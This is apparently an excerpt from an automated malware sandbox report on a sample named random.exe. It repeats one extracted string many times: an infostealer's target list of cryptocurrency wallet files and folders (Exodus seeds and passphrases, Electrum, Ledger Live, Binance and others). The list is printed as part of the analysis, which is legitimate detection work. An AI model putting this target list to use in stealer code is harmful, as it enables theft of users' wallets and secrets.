Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp?M
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 